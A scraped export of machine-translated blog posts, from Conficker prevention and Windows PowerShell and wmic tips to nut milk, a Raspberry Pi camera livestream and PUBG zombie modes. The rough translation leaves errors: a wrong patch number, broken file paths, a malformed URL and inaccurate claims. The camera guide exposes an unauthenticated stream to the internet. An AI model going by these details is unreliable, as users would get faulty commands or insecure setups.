anti-malware software, the risk of Conficker can break into the system will be greatly reduced. Fifth , malicious software is not 100% perfect, but the ability to detect and kill Conficker is something that can be trusted. This is a notorious computer worm, so almost every anti-malware developer knows and understands it. As long as you regularly update malware removal software, the risk of Conficker being attacked will be greatly reduced. Sixth , Conficker is able to intervene to prevent Windows operating systems and malware from being able to update the latest information and fixes. It's best to take the time to carefully check and update manually for these two core applications. Any important updates should not be left unfinished. Seventh , a number of Conficker worm detection and killing tools are free. These tools only work when running on PCs that are infected with Conficker. However, you should note that if you are infected with Conficker, your PC will not be able to access the website of security companies. Which of the following tools are mostly released by security vendors. Therefore, you should use a non-malicious PC to download these tools and run on a PC infected with Conficker. Note that you should disconnect your network when running these tools to prevent other PCs on your network from infecting your PC. McAfee Stinger ESet EConfickerRemover Symantec W32.Downadup Removal Tool F-Secure F-Downadup BitDefender single PC \u0026amp; network removal tools Kaspersky KKiller Trend Micro BitDefender Symantec CMC Conficker Removal Tool After using the above tools to successfully find and kill Conficker worm, you should quickly download and install MS08-67 update because PC infected with Conficker means that you have not installed the patch. this error.\nncG1vNJzZmismaXArq3KnmWcp51khG7Ax6KloKtdqbxut82ormasn2K9s7HVnqWtZZOku6e1wqScq2WnpL%2Bu\n","link":"/post/7-things-to-know-to-prevent-conficker-worm/","section":"post","tags":null,"title":"7 things to know to prevent Conficker worm"},{"body":"Recently, women often spread each other about how and how to use the formula, soymilk, corn milk . So what kind of benefits does this milk bring to health? Follow the article below to get your answer!\nmain content Learn about the benefits of granules Uses of corn milk Effect of soy milk Uses of walnut milk Uses of macca nut milk Effect of chestnut milk Use of black sesame milk Effect of lotus seed milk  Some tips for making delicious home-made lotions Suggest some common soy milk making machines Magic Korea A-68 - 1.3 liter soy milk maker Joyoung DJ13C-Q3 soy milk maker Mishio MK-140 soy milk maker    Learn about the benefits of granules Uses of corn milk Corn milk is a type of milk made from corn grain. The composition of this milk does not contain cholesterol and lactose. It contains many starches, fiber, vitamins . Using corn milk helps people with a healthy digestive system, brain tonic, against aging phenomena and supplementing energy and extreme benefits with the system Heart.\nHowever, according to the recommendations of US health experts, overuse of corn milk, especially sweet corn, will cause obesity, hyperglycemia, tooth decay, etc. Although it is good for your health, you should also consider to have a reasonable regime when using corn milk.\n  Effect of soy milk This milk is made from soybeans (soybeans), they have a particularly high nutrient content, equivalent to cow's milk. In soy milk, there is a higher protein content of cow's milk, less calcium, but no lactose and less cholesterol.\nBecause of the above characteristics, soymilk is often recommended for older people, people with cardiovascular diseases, children in the development stage .\n  Uses of walnut milk It can be said that walnut milk is the most nutritious milk among all current milk formula. In walnut milk, there is a lot of omega 3 and extreme vitamins that are beneficial for children and pregnant women. High levels of omega 3 in walnut milk are superior to salmon, which is very important for the brain development of infants and young children. In addition, walnut milk is also high in fiber, calcium, vitamins A, E, B and folic acid help reduce bad cholesterol, increase good cholesterol. At the same time improve cardiovascular health, improve digestive system, prevent gallstones and very good for people with insomnia.\n  Uses of macca nut milk Dubbed the \"queen of nuts\", macca not only has an expensive price but its nutrient content also gives users many unexpected uses.\nIn macca nut milk contains high levels of essential oils (up to 78%) and in macca oil there are many types of unsaturated fatty acids that are good for health. Besides, macca milk is also rich in protein, fiber, vitamins, omega 3, calcium, up to 20 types of amino acids, especially without cholesterol.\nUsing reasonable macca milk will help prevent aging, beautify the skin, reduce the risk of cardiovascular disease. In addition, they are also very good for the brain, bones and joints suitable for dieters and diabetics\n  Effect of chestnut milk The chestnut milk is composed mainly of starch, rich in protein, lipid, vitamins B1, B2, C, omega 3, phytosterols and other minerals.\nChestnut milk also has many positive health benefits, such as:\nAdd abundant energy Help protect the cardiovascular system Reduces the level of bad cholesterol Reduce the risk of cancer Additional kidneys coated positive, strengthen the tendon Increases resistance Against the phenomenon of aging .   Use of black sesame milk Black sesame (black sesame) is often referred to as a \"herbal medicine\" in both eastern and western medicine. In black sesame milk contains many unsaturated fatty acids such as folic acid, amino acid, sesamin, sesamon, sesamolin, sesamol, along with vitamin E and copper, iron and calcium minerals .\nBlack sesame milk brings many health benefits:\nReduce blood cholesterol, anti-atherosclerosis Prevention of cardiovascular diseases Prevention of high blood pressure Anti-inflammatory, anti-rickets, malnutrition Smooth skin, black hair Against the phenomenon of aging   Effect of lotus seed milk Lotus seed milk is rich in calories, vitamin C, B, fiber and rich in minerals. When using lotus seed milk, users will get a better feeling of sleep and deep sleep (especially if they leave the lotus mind at work). Besides, it is good for stomach, reducing blood sugar, cholesterol, beautifying skin, treating cough, treating acne .\n  Some tips for making delicious home-made lotions Currently, ready-made milk products are sold quite a lot in the market, but there are too light types, too sweet to meet the requirements as well as quality. So the advice for you is to actively make these milk at home to ensure hygiene and nutritional ingredients.\nTo make delicious and nutritious nut milk, you should note:\nA soy milk maker should be equipped to make the process of making milk at home. This machine not only makes soy milk, corn, walnut milk . but it can also be used to make smoothies, soups or extremely convenient porridge. With just 1 button, with the built-in program, you will quickly get the glass of hot and fragrant milk without taking much time and effort. Should choose nuts, milk materials to ensure hygiene, safety, do not choose flat, rotten, damaged seeds to ensure milk quality Soak seeds before processing Milk when finished, if not used up, can be stored in the refrigerator for 2-3 days, should not be stored for too long Suggest some common soy milk making machines Here are some lines of soy milk making machine that you can make nutritious milk cups:\nMagic Korea A-68 - 1.3 liter soy milk maker Specifications:\nCapacity of 1.3 liters Power 750W Voltage source220V Size 21cm x 21cm x 37cm Warranty 12 months Price: 999,000 VND   Joyoung DJ13C-Q3 soy milk maker Specifications:\nCapacity: 1.3 liters Packaging weight: 3.7kg Overflow: Yes Capacity: 1,000W Blade material: Stainless steel Voltage source: 220V / 50Hz Touch panel Advanced plastic materials; Stainless steel 304 Function: Making soy milk Warranty 12 months Price: VND 2,050,000   Mishio MK-140 soy milk maker Specifications:\nCapacity: 1.4 liters Packing size: 21.6cm x 21.6cm x 36.2cm Package weight: 2.3kg Capacity: 750W Voltage source: 220V / 50Hz Material: PP Plastic; SUS201 steel Size: 22cm x 31cm Warranty 12 months Price: 990,000 VND   \u0026gt;\u0026gt; Reference: Joyoung Soybean Milk Maker? Is that good?\nNut milk has a very positive effect on the main health so please take some time to make your own rich, nutritious milk for your loved ones. If you need to use a milk machine, please contact us immediately for advice and support:\nHanoi: 024.3568.6969 or in HCMC: 028.3833.3366\nncG1vNJzZmismaXArq3KnmWcp51krrOxjK2fnmWlqLK0ec6fZJqknGK4qrrDrGSonl2jwrV5zKKjpGWSmq6vecyio6RlkaOxbq%2FOq6VmpZmhuG7Fzq5kpKafrA%3D%3D\n","link":"/post/are-the-uses-of-all-kinds-of-nut-milk-bean-milk-and-corn-milk-you-know/","section":"post","tags":null,"title":"Are the uses of all kinds of nut milk, bean milk, and corn milk you know?"},{"body":"To make it easy to distinguish folders or simply bring different styles to folders on your computer, we can use colors when installing Folder Colorizer software that we have shown how to use in Change any file or folder name in Windows. So with other images, how can I set the image for the folder?\nThe answer is absolutely world. Thanks to the tool called IconCool Studio, users can choose any image to set as a picture of the folder, personal photo, landscape photo, etc. This will bring It is more interesting than just using the icons available on your computer to represent the folder. Along with Network Administrator, I started to change the new face for folders on my computer, using IconCool Studio in the tutorial below.\nStep 1: First of all, you need to download IconCool Studio software under the link below.\nDownload IconCool Studio software Step 2: After downloading the file of IconCool Studio to the computer, we proceed with the usual installation steps. Click Next to start the installation.\n  Step 3: Next, check the box I accept the terms in the license agreement agreeing to the terms and then clicking Next .\n  Step 4: Your next job is to click Next . When the interface below appears, click Finish to finish the installation of IconCool Studio on the computer.\n  Step 5: Soon the main management interface of the software appeared. Please select Don't show Next time to not show this window at the next use, then press Exit to exit.\n  Step 6: Next, click on the IconCool Studio option to go to the software user interface.\n  Here, we will click on File then select Import to get the image we want to set for the folder.\n  Step 7: After selecting the image, you will come to the interface of the Image Importing window to edit the image. We can use the mouse to adjust the image partition to select, move, . Then click Next to continue.\n  Step 8: Next will be the Image Format interface, the Color section selects 32-bits , the Size item we choose will be selected to the size of the image set for the folder. If you want to set a different size yourself, select Custom Size, then enter the size in the 2 boxes below. Click OK to save the size.\n  Step 9: Then, at the interface of the program click on the Save icon to save this image.\n  The image will be saved on the computer in the * .ico format . Name the image and click Save to save it.\n  Step 10: Find the folder you want to change your avatar. Right-click and select Properties .\n  Step 11: In the new window, click the Customize tab and then select Change Icon .\n  We will click the Browse button to find the folder containing the * .ico file we created earlier.\n  Click OK to select this image.\n  Continue clicking Apply and OK to finish.\n  In the last step you need to restart that folder for the changes to take effect. The result of the folder image has been replaced by the image we have set up.\n  Try using IconCool Studio to change the avatar for the folder on your computer, creating a new look. Depending on the needs of each person, you can freely adjust the image size for the folder on your computer using IconCool Studio.\nRefer to the following articles: 4 steps to troubleshoot audio loss in Windows Manage more compact Desktop monitors with Fences Summary of some ways to fix USB Device Not Recognized on Windows 7, 8 and 10 I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ksKmtzaCcZqyYmnqiwsCtmKtllqS%2FbsDHnmSfp5yZsrN51qKroWWZmLyvr86oo2arpKqxqrs%3D\n","link":"/post/change-the-avatar-for-the-folder-with-iconcool-studio/","section":"post","tags":null,"title":"Change the avatar for the folder with IconCool Studio"},{"body":"It is important to check the computer components when buying an old computer. If you are wondering in an old laptop computer, an old desktop computer using a HDD or SSD hard drive but you do not want to extract the computer, please refer to the procedure of checking a computer using an SSD or HDD in the article below.\n  To check if your computer is using a HDD or SSD, follow these instructions:\nMethod 1: Test the hard drive on Windows manually Step 1: Right-click on This PC / My Computer =\u0026gt; Manage .\n  Step 2: Choose Disk Management  (1) =\u0026gt; right-click the drive to check (2) =\u0026gt; Properties  (3) .\n  Step 3: In the General tab, notice the zoned information line as shown below, which is the code of the SSD or HDD. You memorize or copy that code.\n  Step 4: Look up the hard drive code above with Google. If the results returned as shown below, the hard drive in the article is a WD green 240GB SSD.\n  Method 2: Check if the hard drive is SSD or HDD with Windows PowerShell Step 1: Go to the Start menu and open Windows Powershell .\n  Step 2: Enter the following command and press Enter .\nget-physicaldisk\nAfter entering the command and pressing Enter, the computer will check and produce the result as shown below. If we see the word SSD or HDD in MediaType, that means formatting your drive. If it says Unspecified , the hard drive is an old HDD that has not been updated on Windows 10 systems.\n  Method 3: Use the Optimize Drives tool Step 1: Open My computer / This PC =\u0026gt; right click on any drive and select Properties .\n  Step 2: Select the Tool (1) =\u0026gt; Optimize (2) .\n  Step 3: In the Media type section, we will distinguish between SSD and HDD. If the hard drive has a Solid State Drive code , it is an SSD and a hard drive has a Hard disk drive code .\n  Method 4. Check your computer using an SSD or HDD with Pirifom Speccy software Step 1: You access the link https://www.ccleaner.com/speccy and download the Speccy software .\nYou then install the software and wait for the software to scan for hardware parameters in your computer.\n  Step 2 : You move to Storage (1) . Here we have information on the storage drives on the computer listed in the next section (2) . If it is an SSD, we will see the word SSD next to it.\n  For drives with unclear information, you can look up the code on Google. Try clicking on the name of the drive as shown below and we find the Form Factor line : 3.5 inch ie 3.5 inch HDD hard drive for desktop.\n  With the guide to checking the computer using an SSD or HDD in the article, we can easily identify the type of hard drive installed on your computer without having to extract it. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYmrCsedOhnGabn6K9tsDEq2Suq5mjtG6tzWaqrJxdpL9utMOdZKimXay2r7DOsKo%3D\n","link":"/post/how-to-check-the-computer-using-an-ssd-or-hdd-on-windows/","section":"post","tags":null,"title":"How to check the computer using an SSD or HDD on Windows"},{"body":"Instagram Stories is a place for users to share every moment, images with effects, or even create questions on Instagram Stories. And to refresh the content when posting on Stories, we can use the Voicestory application. This application allows to convert voice recording into text and use your personal image to upload to Stories. Voicestory supports posting videos directly to your personal Instagram account. The following article will guide you how to use Voicestory to record videos on Instagram Stories.\n6 apps make your Instagram Stories even more awesome Guide to creating a survey in Instagram Stories How to permanently delete Instagram account and temporarily disable it How to post photos to Instagram from a computer Guide to creating Instagram Stories videos Step 1:\nUsers download Voicestory application - Voice Into Video on iOS device according to the link below.\nDownload Voicestory - Voice Into Video iOS Step 2:\nNext open the application and the user will be asked to allow the use of the microphone on the device to record the voice. Click the red circle microphone icon to record the voice within 15 seconds.\n   Step 3:\nThe voice recording process proceeds immediately afterwards, press the middle circle icon if you want to stop the voice recording. As a result, you will have your voice, click Continue to continue.\n   Step 4:\nWait Voicestory application process to analyze your voice. We then see Voicestory requesting permission to access the Photo Album on the device. Currently the application only recognizes English voice well. As a result you will see the voice being converted to the script as shown below.\nIn case you want to change the recording content, click on the x icon and select Discard to remove the content and record it from the beginning.\n    Step 5:\nThe application provides text editing at Edit Text . Here you can edit the content of the text in different lines. When editing, click Done above to save.\n   Click Add Photo to add an existing photo in the album or take a new photo to change the video recorded on Voicestory.\n   Step 6:\nAfter you've finished editing the video, click Save video if you want to download the video to the device, or click Post to post the video to Instagram Stories . Click Open to agree to access your Instagram account on your device.\n   You post a video on Voicestory's Stories similar to posting directly from Instagram. We can still add stickers, animations, text to the video if you want.\n    If you want to upload videos to Facebook, then select the videos in the downloaded albums.\n    With the Voicestory app, the content on Instagram Stories has changed more interesting with images or text from your own voice. Hopefully in the next update the manufacturer supports more languages.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyipayskZy%2FormMrKuoqpmawG6y0aikZrGfqr9uws6imp5lkaOxbrzHqKuoqw%3D%3D\n","link":"/post/how-to-create-instagram-stories-from-your-voice-and-photos/","section":"post","tags":null,"title":"How to create Instagram Stories from your voice and photos"},{"body":"On Windows 8 and Windows 10, there is a feature called Fast Startup to speed up the boot process.When this feature is enabled, Windows starts up much faster.\nReaders can refer to how to activate and disable Fast Startup on Windows 10 / 8.1 / 8 here.\nOperating system using Hybrid Shutdown - is the process of speeding up the startup and speeding up the normal shutdown time on Windows operating system. Normally, when you perform Hybrid Shutdown, your computer will go through a lot. complicated process before real startup or shutdown.\nUnlike Full Hibernation, it will remove user entries by logging out. On the next boot, it will restore the information that was saved to RAM immediately but will load the new user version. In the article below, Network Administrator will show you how to disable full hibernation to free up free space without disabling Fast Startup .\nWhen Hibernation is completely disabled, it will disable the Fast Startup feature. Obviously one thing that Fast Starup depends on Hibernation and cannot work without Hibernation.\nHowever in many cases users want to disable Hibernation to free up free space on the Windows installation partition. Compressing hibernation files will only \"consume\" half of the amount of free disk space. There is also an option on Windows 10 to free up disk space without turning off hibernation.\nReaders can refer to the hibernation file compression steps to free up disk space on Windows 10 here.\nOr alternatively, change the Hibernation format. You can convert Hibernation from Full to Reduced while retaining the Fast Startup feature and just store the amount of free space on the drive by completely disabling Hibernation. It still stores hiberfil.sys file and only reduces the file size. Therefore Windows 10 supports 2 types of Hibernation: Full and Reduced .\nSteps to disable Hibernation but not disable the Fast startup To disable Hibernation but not disable the Fast startup, follow the steps below:\n1. Open Command Prompt under Admin. To do this, right-click the Start button in the bottom left corner of the screen, select Command Prompt (Admin) or alternatively press the Windows + X key combination to open Power User Menu , here you click select Command Prompt (Admin).\n2. On the Command Prompt window, enter the following command into: powercfg / h / type reduced\nThe above command will reduce the size of the hibernation file stored in the operating system kernel and drivers for Fast Startup.\n  In case if you want to restore the default hibernation configuration, follow the same steps and enter the command:\npowercfg / h / type full\n  The size of the hiberfil.sys file will be restored. The operating system will reactivate the hibernation file to restore the entire contents of the memory.\nFull Hibernation supports storing the state of all applications, files, drivers - everything is stored in the same state. This process is still faster than the cold start process on the operating system. However, as mentioned above, this process will take up at least 40% of the free memory on the drive.\nThe hibernation file reduction only stores data to store unused versions.C: hiberfil.sys will only account for 20% of installation on RAM. This is not to use Hibernate in Reduce Mode, but Hibernate will disappear from the Start Menu and Power User Menu (Windows + X).\nSome note:\nIf you previously compressed the hibernation file, the command powercfg / h / type reduced may display the \"The parameter is incorrect\" error.\n  To avoid an error, try extracting the hibernation file using the command:\npowercfg hibernate size 0\n  Then run the command to reduce the hibernation file .\nRefer to some of the following articles: Shortcuts to start Windows 10 in Hibernate mode or quickly turn off Create Shortcuts, Restart Your Computer . on the Desktop Windows 10 Instructions for enabling / disabling Hibernate mode on Windows 10 Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyZqK6juMRmn6Kalae7osDIqKVmr5mptbDB02aboquRl7mqusZmq6GdXZuutMCMrKuaqqSqvQ%3D%3D\n","link":"/post/how-to-disable-hibernation-without-disabling-the-fast-startup/","section":"post","tags":null,"title":"How to disable Hibernation without disabling the Fast startup"},{"body":"Windows shares processor resources for all running processes based on their priority. If a process (application) has a higher priority, it will receive more processor resources for better performance than a process with a lower priority.\nIf you prefer, you can set the priority manually for processes to run with Realtime, High, Above normal, Normal, Below normal or Low priority in Windows, based on your own needs instead. because of the default priority. The changes you make to the priority of a process (application) are temporary and not permanently set. When the application is closed or you restart the computer, Windows will forget the priority you set for it.\nThis tutorial will show you how to change the priority of an application to processor resources in Windows 10.\nImportant note : Do not set up processes with real-time priority (Realtime), because it can reduce the performance of the system, by making all processes lower priority than not. have the resources they need.\nMethod 1: Change the priority of the running process in Task Manager 1. Open Task Manager in a more detailed view.\n2. Click the Details tab, right-click or hold and hold the process name (for example, \"mspaint.exe\" ), select Set priority and set the priority you want to give the process ( Realtime, respectively. High, Above normal, Normal, Below normal or Low ).\n  3. Click Change priority to confirm.\n  4. When done, you can close Task Manager if you like.\nMethod 2: Change the priority of the process running in PowerShell 1. Open PowerShell.\n2. Enter the command below into PowerShell and press Enter .\nGet-WmiObject Win32_process -filter 'name = \"ProcessName\"' | foreach-object { $_.SetPriority(PriorityLevelID) }  Note : Replace ProcessName in the above command with the actual name of the running process (for example, \"mspaint.exe\" ) that you want to change the priority of. Replace the PriorityLevelID in the above command with the number (for example, \"32768\" ) in the table below for the priority (for example, \"Above normal\" ) you want to set for this process. For example:\nGet-WmiObject Win32_process -filter 'name = \"mspaint.exe\"' | foreach-object { $_.SetPriority(32768) }  Priority ID Priority ID 256 Realtime 128 High 32768 Above normal 32 Normal 16384 Below normal 64 Low 3. When done, you can close PowerShell if you like.\n  Method 3: Change the priority of the running process in the Command Prompt 1. Open Command Prompt.\n2. Type the command below you want to use into the Command Prompt and press Enter .\nwmic process where name=\"ProcessName\" CALL setpriority \"PriorityLevelName\"  Or:\nwmic process where name=\"ProcessName\" CALL setpriority PriorityLevelID  Note : Replace ProcessName in the above command with the actual name of the running process (for example, \"mspaint.exe\" ) that you want to change the priority of.\nReplace PriorityLevelName in the above command with the priority name (for example, \"Above normal\" ) in the table below that you want to set for this process.\nReplace the PriorityLevelID in the above command with the number (for example, \"32768\" ) in the table below for the priority (for example, \"Above normal\" ) you want to set for this process.\nFor example:\nwmic process where name=\"mspaint.exe\" CALL setpriority \"Above normal\"  Or:\nwmic process where name=\"mspaint.exe\" CALL setpriority 32768  Priority ID Priority ID 256 Realtime 128 High 32768 Above normal 32 Normal 16384 Below normal 64 Low 3. When done, you can close the Command Prompt.\n    Start the application with the priority set in the Command Prompt 1. Open Command Prompt .\n2. Enter the command below into the Command Prompt and press Enter .\nstart \"\" /PriorityLevelName \"Đường dẫn đầy đủ của file ứng dụng\"  If you like, you can use the command below to create a shortcut that will always open the application with the priority set.\ncmd /c start \"\" /PriorityLevelName \"Đường dẫn đầy đủ của file ứng dụng\"  Note : Replace the PriorityLevelName in the above command with the priority name (for example, \"AboveNormal\" ) in the table below that you want to set for this process.\nReplace the 'Full path of the application file' in the above command with the actual full path of the application file (for example, \"C: WindowsSystem32mspaint.exe\" ) you want to start.\nFor example:\nstart \"\" /AboveNormal \"C:WindowsSystem32mspaint.exe\"  Name of priority Realtime High AboveNormal Normal BelowNormal Low 3. Once done, you can close the Command Prompt if you like.\n  All operations are completed!\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVqXqxvsioqaKsmZrAbrLOq2SaqKChtqSt06Kmp6tdnrtuw8inm6ivo2J%2BcQ%3D%3D\n","link":"/post/how-to-set-priorities-for-applications-in-windows-10/","section":"post","tags":null,"title":"How to set priorities for applications in Windows 10"},{"body":"After you record an individual image using your webcam / camera (USB), you probably want to see the live image as well. This can take place on smartphones or on PCs from outside the home network. The article will show you how to configure livestream Raspberry Pi security camera.\nThe great thing is that almost any USB camera (as well as a webcam) can be used. Depending on the location, for example, a camera without an infrared filter may be more useful for night recording.\nEquipment required If you want to connect a USB camera, the Raspberry Pi obviously has a blank USB port. However, you can also use the official camera, available in two versions:\nThe green standard version has 8MP : Can record videos at 1080p. Because it is equipped with an infrared filter, it is particularly suitable for recording daylight or where there is enough light radiation. Black NoIR version : The specifications (resolution, etc.) are the same, but no IR filter is installed, which makes it better to record bad lighting conditions. This option is especially recommended for dark scenes. Both cameras can be directly connected via CSI connectors and do not use USB ports. Newer Zero models (from 2nd generation) now also have a CSI port.\nAlso, any USB webcam can be used as long as the corresponding drivers for Linux are available. If the Raspberry Pi doesn't have a built-in WiFi adapter, it needs to be retrofitted as network connection or the Internet cannot be avoided.\nPrepare for the livestream Before activating the Raspberry Pi camera stream or USB webcam, you need to update the packages:\nsudo apt-get update sudo apt-get upgrade You can then install the Motion tool, which makes livestreaming possible.\nsudo apt-get install motion -y The installation will take a while.\nIf everything still works so far, the camera can be connected. If you are using a USB webcam, you can check if it has been detected:\nlsusb If no special driver is required, all connected cameras / video devices will be displayed with the following command:\nls /dev/video* If you are using one of the official camera modules, it is important to do the following for the camera to be displayed immediately.\nsudo modprobe bcm2835-v4l2 If only a single Raspberry Pi / webcam camera is connected, using / dev / video0 , the device will be assigned. If several devices are connected, you must select the device to stream.\nConfigure livestream Raspberry Pi For the steps to set up some subsequent settings, we need to see the camera details:\nv4l2-ctl -V For the USB webcam for example, the article author received the following output. We will immediately specify the information for resolution, etc. in the configuration file.\npi@raspberrypi:~ $ v4l2-ctl -V Format Video Capture: Width/Height : 640/480 Pixel Format : 'YUYV' Field : None Bytes per Line: 1280 Size Image : 614400 Colorspace : SRGB Flags : Feel free to edit Motion's configuration file:\nsudo nano /etc/motion/motion.conf The following lines must be adjusted (variables can be searched for by CTRL+ W):\n# Start in daemon (background) mode and release terminal (default: off) daemon on . # Restrict stream connections to localhost only (default: on) stream_localhost off . # Target base directory for pictures and films # Recommended to use absolute path. (Default: current working directory) target_dir /home/pi/Monitor The following lines should also be changed:\nv4l2_palette 15 # Nummer aus der Tabelle davor entnehmen, 15 enstpricht YUYV . # Image width (pixels). Valid range: Camera dependent, default: 352 width 640 # Image height (pixels). Valid range: Camera dependent, default: 288 height 480 # Maximum number of frames to be captured per second. # Valid range: 2-100. Default: 100 (almost no limit). framerate 10 Save changes with the shortcut CTRL+ Oand close with CTRL+ X. Other options (ports, etc.) can also be adjusted later (requires restart).\nNow, you must enable the daemon to run the service later:\nsudo nano /etc/default/motion Replace No with Yes in the following command:\nstart_motion_daemon=yes You must now create the directory that was previously designated as the storage location for the captured frames and give it the necessary recording permissions:\nmkdir /home/pi/Monitor sudo chgrp motion /home/pi/Monitor chmod g+rwx /home/pi/Monitor Then you can start the service:\nsudo service motion start Testing the Raspberry Pi livestream surveillance camera To check if the camera actually sends images directly, there are basically two options: A simple way is to use the browser (Mozilla Firefox, Chrome, etc.) and the name of the Raspberry Pi followed. is the port (default: 8081). If you have not changed the hostname and port, you will be able to see stream: http:/// raspberrypi: 8081 / (Alternatively, the local IP address can be used, such as 192.168.1.51:8081 ).\nSome older browsers (like Internet Explorer) do not support this stream. Those users can choose to livestream on VLC Player, for example. To do this, simply open VLC Player and specify in Media menu \u0026gt; Open Network Stream ( CTRL+ N) the above address. This can also be done in VLC Player for smartphones and tablets (Android, Apple): Select Open Media Address in the menu and the IP address includes the port.\nDepending on the framerate specified (in the configuration file), the image may be better or not. Of course, the camera must also support that frame rate.\u0026nbsp;\nMake livestream available outside home network Because viewing the camera in a private network doesn't make much sense, people often want to access it from the outside. To do this, you need a fixed IP or DNS service.\nNote: You can theoretically not use a static IP address, but the downside is that after each reconnection, you will get a new IP address. Because the provider (approximately once per day, usually at night) is forced to reconnect the router, the DNS service is highly recommended, because the DNS address does not change.\nIn addition, you must open the selected port (eg 8081) in the router to perform port forwarding. This means you can assign this port from outside the network and connect to it.\nIn the Port forwarding header or similar, you can specify that the port is opened for a specific local IP address. The example router looks like this:\nSpecifies that the port is opened for a specific local IP address The menu of most routers can be accessed via 192.168.1.1 or 192.168.0.1 with the browser.\nIf you use VLC Player, of course, now, you must replace the local IP address you previously specified with DNS or static IP address (the port is still the same). Some routers may fail to do this in the home network.\nFor home testing, you can, for example, use mobile data on your phone. Turn off WiFi and check if you can watch the livestream of the Raspberry Pi surveillance camera. Depending on your Internet connection (upload speed), the image may be a bit slow.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVqXq2vIyloK%2Bdo6m%2Fpq3MZqmaq6CXsrO%2B2GanomWjmrC2vsitsGabkaKys60%3D\n","link":"/post/how-to-set-up-livestream-raspberry-pi-security-camera/","section":"post","tags":null,"title":"How to set up livestream Raspberry Pi security camera"},{"body":"Starting with Windows 10 build 17093, Windows allows users to conduct pairing with supported Bluetooth devices with just one click.When these devices are ready to pair and detected within range, Windows will display notifications to users and allow them to start the pairing process quickly and conveniently.Microsoft would like to thank the Surface Accessories team for working closely with them to create the first device available in the market to support this new experience, which is the Surface Precision Mouse product.Currently, Microsoft is working with many other partners to develop a list of devices that support this new feature.To learn more, you can refer to the Microsoft blog post here.\nThe steps for users to use and benefit from this feature are:\nSet the Bluetooth peripheral in pairing mode. If the peripheral is near, Windows will automatically display a notification to the user. Select Connect to start pairing. When the external device is no longer in pairing mode or is no longer nearby, Windows will delete the notification from the Action Center. This article will show you how to enable or disable streamlined pairing to quickly connect to some Bluetooth devices for your user account in Windows 10.\nEXAMPLE: Notice for starting pairing through a logical connection to a Bluetooth device in Windows 10:\n  How to check the Bluetooth version in Windows 10 Turn on or turn off the logical pairing with Bluetooth peripherals in Settings Step 1: Open the Settings section and click the Devices icon.\nStep 2: Click on the Bluetooth icon and other devices on the left, then select (enable - by default) or uncheck (turn off) the Connect to certain Bluetooth devices quickly option .\nStep 3: Now you can close the Settings section if you want.\n  Enable or disable the logical pairing of Bluetooth peripherals with REG files The downloadable .reg files below will modify the DWORD value in the registry key below:\n HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionBluetooth  QuickPair DWORD\n0= Off\n1= On\nFirst you do one of two steps:\nStep 1a : To enable logical pairing with Bluetooth peripheral devices.\n(This is the default setting).\nClick the link below to download the required reg file and go to step 2.\nTurn_ON_Connect_to_certain_Bluetooth_devices_quickly.reg\nStep 1b:To turn off the logical pairing with Bluetooth peripherals.\nClick the link below to download the required reg file and go to step 2.\nTurn_OFF_Connect_to_certain_Bluetooth_devices_quickly.reg\nStep 2: Save the downloaded .reg file to your desktop.\nStep 3: Double-click the downloaded .reg file to merge it.\nStep 4: When prompted, click on Run , Yes (UAC), Yes and OK to approve the merging process.\nStep 5: Now you can delete the downloaded .reg file if you want.\nThat's all the steps to do, hopefully this article is useful for you!\nSee more:\nHow to block Internet connection software, Windows 10 applications The cause of the wrong time on Windows 10 and how to fix it What are the features of Windows 10 Windows Features? 11 ways to start the Performance Monitor performance monitor in Windows ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu81mpqtlpKq%2Fr3nOn51mrJiaeq27xqKamqRdpa6qvsinnmavmam1bq7Lrpytp5%2BptW68xKugqaCVp66tv4yipWavmaOxsMPSZmhp\n","link":"/post/how-to-turn-on-or-turn-off-the-logical-pairing-with-bluetooth-peripherals-in-windows-10/","section":"post","tags":null,"title":"How to turn on or turn off the logical pairing with Bluetooth peripherals in Windows 10"},{"body":"The PUBG Mobile 0.14 version has been officially updated with the new Infection Zombie mode, which comes with lots of interesting content such as the character Victor possesses the SMG quick reload skill, although it is only valid in Infinity mode.\nAn interesting thing is that the Raw Expansion Pack helps to reduce the content of unused players and helps to lighten the machine. Pirate theme with very interesting treasures . But the main problem is the new Infection Zombie mode.\nAnd gamers have seen the appearance of 3 new Zombie types with a strong warrior named Vanquishers, so these new characters have something special, let's find out under this article.\n4 new zombie types in PUBG Mobile 0.13.0 and how to destroy them 6 tips to play Team Deathmatch PUBG Mobile How to duplicate BP in PUBG Mobile with X2 card Information about 3 new Zombie types in Infection PUBG Mobile mode Specifically, we will have Speed, Stealth and King in this Infection mode. PUBG Mobile will divide 12 players into two Zombie and Human factions (Defenders), the server will pick up 3 random players to make zombies.\nBy default, the selected or attacked from another zombie will turn into Speed ​​Zombie, and after being destroyed by Defenders, it will be revived. At that time, new players can choose to be Speed ​​Zombie or Stealth Zombie, and if they are defeated by Vanquishers, they cannot be revived.\n  As for Zombie King, this zombie type only appears when Speed ​​Zombie or Stealth Zombie can kill 3 other players, or when you get a Booster. You can call Zombie King as the highest level evolution of the other two Zombie types.\n1. Speed ​​Zombie   This is the default zombie type in the game, with a fast moving body. Attack the player with a \"slap\" and skill to speed up movement. Speed ​​Zombie's blood is not too much so it is not too difficult for you to destroy them quickly if gathered.\n2. Stealth Zombie   There is no agility move like Speed ​​Zombie but Stealth Zombie has stealth / cloak skill. Very convenient for ambush or sneak attack when the enemy does not notice.\nEven though it is invisible, you can still see the Stealth Zombie, so defending in any position has only one attack.\n3. Zombie King   A zombie with the largest amount of blood, and also has defensive skills for yourself and nearby zombies. But the big shape plus the rather slow work makes Zombie King very vulnerable.\nAs for the Human faction, the warriors will be divided into two types: Defenders and Vanquishers. The Defenders will use two rifles as M416 and AKM available when entering the game with the number of bullets of 660,\nAnd the Vanquishers only appear when the Defenders are left with only three people, and the three survivors will turn into Vanquishers. This character will use the code to damage the Zombie and also have wide cutting skills that make zombies lose a lot of blood.\nFor those who have ever played through shooter titles such as Counter Strike Online or Raid, Counter-Strike, it is not strange to join PUBG Mobile's Infection mode. There should be tips you can use from the above games in Infection PUBG Mobile 